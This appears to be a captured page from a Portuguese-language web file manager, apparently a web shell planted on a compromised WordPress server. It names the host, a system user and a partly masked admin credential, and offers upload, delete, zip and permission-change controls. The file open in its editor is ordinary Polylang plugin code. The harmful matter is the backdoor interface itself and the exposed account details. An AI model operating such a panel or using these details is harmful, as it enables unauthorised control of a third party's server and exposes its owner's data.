🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_66a25ca2 / de43****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: featured-content.php
<?php /** * @package Polylang */ /** * Manages the compatibility with the Jetpack Twenty Fourteenn Featured content * * @since 2.4 */ class PLL_Featured_Content { /** * Constructor * * @since 2.6 */ public function init() { add_filter( 'transient_featured_content_ids', array( $this, 'featured_content_ids' ) ); add_filter( 'option_featured-content', array( $this, 'option_featured_content' ) ); } /** * Tell whether the theme supports the featured content * * @since 2.4 * * @return bool */ protected function is_active() { return 'twentyfourteen' === get_template() || ( defined( 'JETPACK__VERSION' ) && get_theme_support( 'featured-content' ) ); } /** * Get the theme featured posts filter name * * @since 2.4 * * @return string */ protected function get_featured_posts_filter() { $theme_support = get_theme_support( 'featured-content' ); if ( isset( $theme_support[0]['featured_content_filter'] ) ) { $theme_support[0]['filter'] = $theme_support[0]['featured_content_filter']; unset( $theme_support[0]['featured_content_filter'] ); } return $theme_support[0]['filter']; } /** * Rewrites the function Featured_Content::get_featured_post_ids() * * @since 1.4 * * @param array $featured_ids Featured posts ids * @return array modified featured posts ids ( include all languages ) */ public function featured_content_ids( $featured_ids ) { if ( ! $this->is_active() || false !== $featured_ids ) { return $featured_ids; } $settings = Featured_Content::get_setting(); if ( ! $term = get_term_by( 'name', $settings['tag-name'], 'post_tag' ) ) { return $featured_ids; } // Get featured tag translations $tags = PLL()->model->term->get_translations( $term->term_id ); $ids = array(); // Query for featured posts in all languages // One query per language to get the correct number of posts per language foreach ( $tags as $tag ) { $args = array( 'lang' => 0, // Avoid language filters. 'fields' => 'ids', 'numberposts' => Featured_Content::$max_posts, 'tax_query' => array( array( 'taxonomy' => 'post_tag', 'terms' => (int) $tag, ), ), ); // Available in Jetpack, but not in Twenty Fourteen. if ( isset( Featured_Content::$post_types ) ) { $args['post_type'] = Featured_Content::$post_types; } $_ids = get_posts( $args ); $ids = array_merge( $ids, $_ids ); } $ids = array_map( 'absint', $ids ); set_transient( 'featured_content_ids', $ids ); return $ids; } /** * Translates the featured tag id in featured content settings * Mainly to allow hiding it when requested in featured content options * Acts only on frontend * * @since 1.4 * * @param array $settings featured content settings * @return array modified $settings */ public function option_featured_content( $settings ) { if ( $this->is_active() && PLL() instanceof PLL_Frontend && $settings['tag-id'] && $tr = pll_get_term( $settings['tag-id'] ) ) { $settings['tag-id'] = $tr; } return $settings; } }
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar